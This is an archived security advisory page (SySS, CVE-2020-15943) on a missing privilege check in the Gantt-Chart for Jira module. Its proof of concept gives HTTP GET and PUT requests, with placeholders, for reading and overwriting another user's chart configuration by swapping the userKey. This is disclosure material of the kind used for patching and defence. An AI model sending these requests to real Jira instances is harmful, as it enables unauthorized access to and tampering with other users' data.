Gantt-Chart For Jira 5.5.3 Missing Privilege Check

Authored by Sebastian Auwaerter | Site syss.de

Posted Aug 4, 2020

Gantt-Chart for Jira versions 5.5.3 and below misses a privilege check which allows an attacker to read and write the module configuration for other users.

tags | exploit
advisories | CVE-2020-15943
SHA-256 | 9df2362de6597719f21d5c1862f3e1d1ce649c17851a9656ab81b49eafc4b5ff Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Advisory ID: SYSS-2020-029
Product: Jira module "Gantt-Chart for Jira"
Manufacturer: Frank Polscheit - Solutions & IT-Consulting
Affected Version(s): <=5.5.3
Tested Version(s): 5.5.3
Vulnerability Type: Improper Privilege Management (CWE-269)
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: 2020-07-23
Solution Date: 2020-07-30
Public Disclosure: 2020-08-03
CVE Reference: CVE-2020-15943
Author of Advisory: Sebastian Auwaerter, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

Gantt-Chart for Jira is a Jira module for displaying Gantt charts.

The manufacturer describes the product as follows (see [1]):

"High performance Gantt-Chart capable to display multi-projects with
10.000+ issues aggregating them as top-level big picture"

Due to a missing privilege check, it is possible to read and write
the module configuration of other users. This can also be used to
deliver a cross-site scripting payload to other user dashboards,
as described in security advisory SYSS-2020-030 (see [4]).

To exploit this vulnerability, an attacker has to be authenticated.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The API endpoints for reading and updating the configuration of the
Jira module require the user ID of a user via the variable
userKey. Due to a missing privilege check, the user ID of another user
can be sent instead of the own user ID to read and update a victim's
module configuration.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

### Getting a username of a victim:

The username of a victim can be seen by browsing their profile.


### Getting the chart IDs of the victim

The chart IDs of another user can be enumerated with the following
request:

- ----
GET /rest/gantt/1.0/user/properties?userKey=<victim_user_name>&_=<unix
timestamp (`date +%s`)> HTTP/1.1
Host: <victim_host>
[...]

The response should look something like:

HTTP/1.1 200
[...]

{"keys":"[{\"key\":\"gantt-A\"},{\"key\":\"gantt-B\"}]"}
- ----

The <chart_id> in the following requests should therefore be gantt-A or
gantt-B.


### Getting the current configuration of the module for that user

The configuration for those charts can be read with the following
request:

- -----
GET
/rest/gantt/1.0/user/properties/<chart_id>?userKey=<victim_user_name>&_=<unix
timestamp (`date +%s`)> HTTP/1.1
Host: <victim_host>

The response should look something like:

HTTP/1.1 200
[...]

<configuration as JSON>
- ----

### Pushing a new configuration for the victim

The victim's configuration can then be updated by the attacker using
the following request. The configuration, especially the filter section,
can be prepared beforehand:

PUT
/jira/rest/gantt/1.0/user/properties/<chart_id>?userKey=<victim_user_name>
HTTP/1.1
Host: <victim_host>
[...]
< (edited) configuration as JSON>

The server will update the victim's configuration which can then be
verified by downloading the victim's configuration again with the
second GET request mentioned in this advisory.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

Update to software version 5.5.4.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
2020-07-21: Vulnerability discovered
2020-07-23: Vulnerability reported to manufacturer
2020-07-30: Patch released by manufacturer
2020-08-03: Public disclosure of vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product Website for Jira Module "Gantt-Chart"

https://marketplace.atlassian.com/apps/28997/gantt-chart-for-jira?hosting=cloud&tab=overview
[2] SySS Security Advisory SYSS-2020-029

https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-029.txt
[3] SySS Responsible Disclosure Policy
    https://www.syss.de/en/news/responsible-disclosure-policy/
[4] SySS Security Advisory SYSS-2020-030

https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-030.txt

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Sebastian Auwaerter of SySS
GmbH.

E-Mail: sebastian.auwaerter@syss.de
Public Key:
https://www.syss.de/fileadmin/dokumente/PGPKeys/Sebastian_Auwaerter.asc
Key Fingerprint: F98C 3E12 6713 19D9 9E2F BE3E E9A3 0D48 E2F0 A8B6

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEE+Yw+EmcTGdmeL74+6aMNSOLwqLYFAl8oFdUACgkQ6aMNSOLw
qLZ5Jw/+Iurn9cfzROTYpl7ICLcbnEzZRGEpk03lqg48d+xrkusMrfzc1DXXyD5i
Txq+GdTZeuzaxMxtsZvO27zUuUpZWMD+8KB5o+EvdRGqNgj8GlMUFIs54gfXmpd+
mFe/gqQiUsGO2+LVZxokK++oH8pswreqphaDAKhIpze7uVsDi6hG1JGk5fbMFv/R
IBJ0zoDs4VM1idYDliL9dyTFA0Urc9Hj5Bm3B3MvO/GLw2PW8cJQMjv7xnNOUx9P
g0l9AoekBpG20HW5tiRq5kc1toTQL7nF5j2d6K8raqbM1vNjhFVF2s9HmT54k08K
PQZIb4SMMOHElOhYJyFMm+eRksp5WtBrQ2xo9AHMNEWZvQMdAzPyrQlme48yO5rG
EDQ2VpNeKbPp+n/onsLNmrFf5SI2DsrcA96uuTx5DBwPkKfjomXHXAnFNVMdHviC
bSMI5sFYvwoY82QwOliNZm9Pl05CRRb+YBWeBUVQ8vwqXNfe/6KJVllZbjvwyKOZ
yBPtB9fbkVYAUJw6d21a4rcmvAL92ZwaDr7XM/68dZO7gj2U49h0ns3B1+nNQ/E6
atCD/6ywGnnlTU+Qybui4KlEF/9rvSknkWdQQ93GU6t8j2475+uHlWR5Mnzr7059
rQVLPIqquMzNkwaFZSupcVm4o45fjj1sSH7F2ll/gYj+a0XDM94=
=RY2o
-----END PGP SIGNATURE-----
```

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Login or Register to add favorites